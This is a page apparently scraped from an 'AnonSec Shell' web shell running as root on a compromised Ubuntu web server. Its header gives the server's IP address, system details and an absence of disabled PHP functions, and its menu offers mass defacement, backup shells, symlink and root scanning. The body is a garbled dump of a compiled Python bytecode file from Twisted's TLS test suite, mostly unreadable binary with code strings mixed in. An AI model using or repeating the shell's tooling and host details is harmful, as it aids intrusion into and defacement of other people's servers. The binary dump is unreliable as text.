AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/internet/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/internet/test/__pycache__/test_tls.cpython-310.pyc
o

�b%4�	@s0dZddlmZmZmZddlmZmZddlm	Z	m
Z
ddlmZm
Z
mZddlmZddlmZmZmZddlmZmZmZdd	lmZdd
lmZmZmZddlm Z ddl!m"Z"m#Z#m$Z$dd
l%m&Z&ddl'm(Z(ddl)m*Z*ddl+m,Z,zddl-m.Z.Wne/y�dZ.Ynwddl0m1Z1m2Z2m3Z3Gdd�d�Z4Gdd�d�Z5ee�Gdd�d��Z6Gdd�dee5�Z7Gdd�d�Z8Gdd�de4e e�Z9Gd d!�d!ee5�Z:Gd"d#�d#e4e e5ee8�Z;Gd$d%�d%e4e5e8e#e$e �Z<e=��>e;�?��e=��>e9�?��e=��>e<��?��Gd&d'�d'e e"e5�Z@e=��>e@�?��dS)(z0
Tests for implementations of L{ITLSTransport}.
�)�Optional�Sequence�Type)�	Interface�implementer)�Deferred�DeferredList)�SSL4ClientEndpoint�SSL4ServerEndpoint�TCP4ClientEndpoint)�ConnectionClosed)�IReactorSSL�IStreamClientEndpoint�
ITLSTransport)�
ClientFactory�Protocol�
ServerFactory)�
Cooperator)�BrokenContextFactory�ConnectionTestsMixin�EndpointCreator)�ReactorBuilder)�AbortConnectionMixin�ConnectToTCPListenerMixin�StreamTransportTestsMixin)�
networkString)�FilePath)�platform)�SkipTest)�FILETYPE_PEMN)�ClientContextFactory�KeyPair�PrivateCertificatec@sBeZdZUegZeeeee	d<e
��rdZeed�Z
dSdS)�TLSMixin�requiredInterfaceszcFor some reason, these reactors don't deal with SSL disconnection correctly on Windows.  See #3371.)z*twisted.internet.glib2reactor.Glib2Reactorz(twisted.internet.gtk2reactor.Gtk2ReactorN)�__name__�
__module__�__qualname__r
r$rrrr�__annotations__r�	isWindows�msg�skippedReactors�r,r,�@/usr/lib/python3/dist-packages/twisted/internet/test/test_tls.pyr#3s
�
��r#c@s@eZdZddlZeeej���d��d�Z	[dd�Z
dd�ZdS)	�ContextGeneratingMixinrNstests
server.pemcCs(|j��}t�|t�|t�t�}|��S)zM
        Return a new SSL context suitable for use in a test server.
        )�_pem�
getContentr"�loadr!r�options)�self�pem�certr,r,r-�getServerContextIs

�z'ContextGeneratingMixin.getServerContextcCst�S�N)r �r3r,r,r-�getClientContextSsz'ContextGeneratingMixin.getClientContext)r%r&r'�twistedrr�__file__�sibling�childr/r6r9r,r,r,r-r.As�
r.c@� eZdZdZdd�Zdd�ZdS)�StartTLSClientEndpointa!
    An endpoint which wraps another one and adds a TLS layer immediately when
    connections are set up.

    @ivar wrapped: A L{IStreamClientEndpoint} provider which will be used to
        really set up connections.

    @ivar contextFactory: A L{ContextFactory} to use to do TLS.
    cCs||_||_dSr7)�wrapped�contextFactory)r3r@rAr,r,r-�__init__cs
zStartTLSClientEndpoint.__init__cs$G��fdd�dt�}�j�|��S)z�
        Establish a connection using a protocol build by C{factory} and
        immediately start TLS on it.  Return a L{Deferred} which fires with the
        protocol instance.
        cseZdZ��fdd�ZdS)z6StartTLSClientEndpoint.connect.<locals>.WrapperFactorycs(��|���jf��fdd�	}|�_�S)Ncs�j��j�|�dSr7)�	transport�startTLSrA)�orig)�protocolr3r,r-�connectionMadess
z\StartTLSClientEndpoint.connect.<locals>.WrapperFactory.buildProtocol.<locals>.connectionMade)�
buildProtocolrG)�wrapperSelf�addrrG��factoryr3)rFr-rHps
zDStartTLSClientEndpoint.connect.<locals>.WrapperFactory.buildProtocolN)r%r&r'rHr,rKr,r-�WrapperFactoryosrM)rr@�connect)r3rLrMr,rKr-rNgszStartTLSClientEndpoint.connectN)r%r&r'�__doc__rBrNr,r,r,r-r?Ws
r?c@r>)�StartTLSClientCreatorz{
    Create L{ITLSTransport.startTLS} endpoint for the client, and normal SSL
    for server just because it's easier.
    cC�t|d|���S)z�
        Construct an SSL server endpoint.  This should be constructing a TCP
        server endpoint which immediately calls C{startTLS} instead, but that
        is hard.
        r�r
r6�r3�reactorr,r,r-�server�szStartTLSClientCreator.servercCstt|d|j�t��S)zS
        Construct a TCP client endpoint wrapped to immediately start TLS.
        �	127.0.0.1)r?r�portr �r3rT�
serverAddressr,r,r-�client�s�zStartTLSClientCreator.clientN�r%r&r'rOrUrZr,r,r,r-rP}srPc@seZdZdZdd�ZdS)�BadContextTestsMixinz�
    Mixin for L{ReactorBuilder} subclasses which defines a helper for testing
    the handling of broken context factories.
    cCs0|��}|�t||t��}|�tjt|��dS)a�
        Assert that the exception raised by a broken context factory's
        C{getContext} method is raised by some reactor method.  If it is not, an
        exception will be raised to fail the test.

        @param useIt: A two-argument callable which will be called with a
            reactor and a broken context factory and which is expected to raise
            the same exception as the broken context factory's C{getContext}
            method.
        N)�buildReactor�assertRaises�
ValueErrorr�assertEqual�message�str)r3�useItrT�excr,r,r-�_testBadContext�sz$BadContextTestsMixin._testBadContextN)r%r&r'rOrer,r,r,r-r\�sr\c@seZdZdZe�ZdS)�StartTLSClientTestsMixinz�
    Tests for TLS connections established using L{ITLSTransport.startTLS} (as
    opposed to L{IReactorSSL.connectSSL} or L{IReactorSSL.listenSSL}).
    N)r%r&r'rOrP�	endpointsr,r,r,r-rf�s
rfc@r>)�
SSLCreatorz
    Create SSL endpoints.
    cCrQ)zQ
        Create an SSL server endpoint on a TCP/IP-stack allocated port.
        rrRrSr,r,r-rU�szSSLCreator.servercCst|d|jt��S)z�
        Create an SSL client endpoint which will connect localhost on
        the port given by C{serverAddress}.

        @type serverAddress: L{IPv4Address}
        rV)r	rWr rXr,r,r-rZ�s�zSSLCreator.clientNr[r,r,r,r-rh�srhc@s&eZdZdZe�Zdd�Zdd�ZdS)�SSLClientTestsMixinz<
    Mixin defining tests relating to L{ITLSTransport}.
    cC�dd�}|�|�dS)z�
        If the context factory passed to L{IReactorSSL.connectSSL} raises an
        exception from its C{getContext} method, that exception is raised by
        L{IReactorSSL.connectSSL}.
        cSs|�ddt�|�S)NrVi�)�
connectSSLr�rTrAr,r,r-rc�s
�z2SSLClientTestsMixin.test_badContext.<locals>.useItN�re�r3rcr,r,r-�test_badContext�sz#SSLClientTestsMixin.test_badContextcsGdd�dt�}|���t�}t�|_||_|��|_t�}t�|_||_|�	�|_|jj
|j_
g�t|j|jgdd�}�fdd�}|�|��j
d|dd	�}|�|j���|��j|��j|�}|�|j�|��fd
d��|����d�t��d�t�d
S)aO
        L{ITCPTransport.loseConnection} ends a connection which was set up with
        L{ITLSTransport.startTLS} and which has recently been written to.  This
        is intended to verify that a socket send error masked by the TLS
        implementation doesn't prevent the connection from being reported as
        closed.
        c@s$eZdZdd�Zdd�Zdd�ZdS)zQSSLClientTestsMixin.test_disconnectAfterWriteAfterStartTLS.<locals>.ShortProtocolcSsNt�|j�s|jj}d|j_|�td��dS|j�|jj�|j�	d�dS)NzNo ITLSTransport support�x)
r�
providedByrCrL�finished�errbackrrD�context�write)r3rrr,r,r-rG�sz`SSLClientTestsMixin.test_disconnectAfterWriteAfterStartTLS.<locals>.ShortProtocol.connectionMadecSs|j�d�|j��dS)N�y)rCru�loseConnection)r3�datar,r,r-�dataReceived�sz^SSLClientTestsMixin.test_disconnectAfterWriteAfterStartTLS.<locals>.ShortProtocol.dataReceivedcSs*|jj}|durd|j_|�|�dSdSr7)rLrr�callback)r3�reasonrrr,r,r-�connectionLosts
�z`SSLClientTestsMixin.test_disconnectAfterWriteAfterStartTLS.<locals>.ShortProtocol.connectionLostN)r%r&r'rGryr|r,r,r,r-�
ShortProtocol�s
r}T)�
consumeErrorscs"��|dd|ddg�dS)Nr�)�extend)�results)�lostConnectionResultsr,r-�
cbFinished"s"zNSSLClientTestsMixin.test_disconnectAfterWriteAfterStartTLS.<locals>.cbFinishedrrV)�	interfacecs���Sr7)�stop)�ign�rTr,r-�<lambda>/szLSSLClientTestsMixin.test_disconnectAfterWriteAfterStartTLS.<locals>.<lambda>rN)rr]rrrrrFr6rtrr9�methodr�addCallback�	listenTCP�
addCleanup�
stopListening�
connectTCP�getHost�hostrW�
disconnect�
runReactor�trapr)r3r}�
serverFactory�
clientFactoryrrr�rW�	connectorr,)r�rTr-�&test_disconnectAfterWriteAfterStartTLS�s6	!

�
�
z:SSLClientTestsMixin.test_disconnectAfterWriteAfterStartTLSN)r%r&r'rOrhrgror�r,r,r,r-ri�s
ric@s8eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�ZdS)
�TLSPortTestsBuilderz,
    Tests for L{IReactorSSL.listenSSL}
    cCs|�d||���S)z0
        Get a TLS port from a reactor.
        r)�	listenSSLr6)r3rTrLr,r,r-�getListeningPortA�z$TLSPortTestsBuilder.getListeningPortcCsd||��jfS)zY
        Get the message expected to be logged when a TLS port starts listening.
        z%s (TLS) starting on %d�r�rW)r3rWrLr,r,r-�#getExpectedStartListeningLogMessageGr�z7TLSPortTestsBuilder.getExpectedStartListeningLogMessagecCsd|��j�d�S)zJ
        Get the expected connection lost message for a TLS port.
        z
(TLS Port z Closed)r�)r3rWr,r,r-�getExpectedConnectionLostLogMsgMr�z3TLSPortTestsBuilder.getExpectedConnectionLostLogMsgcCrj)z�
        If the context factory passed to L{IReactorSSL.listenSSL} raises an
        exception from its C{getContext} method, that exception is raised by
        L{IReactorSSL.listenSSL}.
        cSs|�dt�|�S)Nr)r�rrlr,r,r-rcZsz2TLSPortTestsBuilder.test_badContext.<locals>.useItNrmrnr,r,r-roSsz#TLSPortTestsBuilder.test_badContextcCs|�|j|j||���S)a
        Connect to the given listening TLS port, assuming the
        underlying transport is TCP.

        @param reactor: The reactor under test.
        @type reactor: L{IReactorSSL}

        @param address: The listening's address.  Only the C{port}
            component is used; see
            L{ConnectToTCPListenerMixin.LISTENER_HOST}.
        @type address: L{IPv4Address} or L{IPv6Address}

        @param factory: The client factory.
        @type factory: L{ClientFactory}

        @return: The connector
        )rk�
LISTENER_HOSTrWr9)r3rT�addressrLr,r,r-�connectToListener_s�z%TLSPortTestsBuilder.connectToListenerN)	r%r&r'rOr�r�r�ror�r,r,r,r-r�5sr�c@s,eZdZdZefZe�Zdd�Zdd�Z	dS)�AbortSSLConnectionTestsz-
    C{abortConnection} tests using SSL.
    cs<t�|��ddlm}t�fdd�d�}|�|d|j��S)Nr)�_producer_helperscs��d|�S)Ng�h㈵��>)�	callLater)�xr�r,r-r��sz6AbortSSLConnectionTests.buildReactor.<locals>.<lambda>)�	scheduler�	cooperate)rr]�twisted.internetr�r�patchr�)r3r��
cooperatorr,r�r-r]�s

z$AbortSSLConnectionTests.buildReactorcCstdurtd��dS)NzOpenSSL not available.)rrr8r,r,r-�setUp�s�zAbortSSLConnectionTests.setUpN)
r%r&r'rOr
r$rhrgr]r�r,r,r,r-r�~s
r�)ArO�typingrrr�zope.interfacerr�twisted.internet.deferrr�twisted.internet.endpointsr	r
r�twisted.internet.errorr�twisted.internet.interfacesr
rr�twisted.internet.protocolrrr�twisted.internet.taskr�&twisted.internet.test.connectionmixinsrrr�#twisted.internet.test.reactormixinsr�twisted.internet.test.test_tcprrr�twisted.python.compatr�twisted.python.filepathr�twisted.python.runtimer�twisted.trial.unittestr�OpenSSL.cryptor�ImportError�twisted.internet.sslr r!r"r#r.r?rPr\rfrhrir��globals�update�makeTestCaseClassesr�r,r,r,r-�<module>sh�%	
�
j�D
�

Anon7 - 2022
AnonSec Team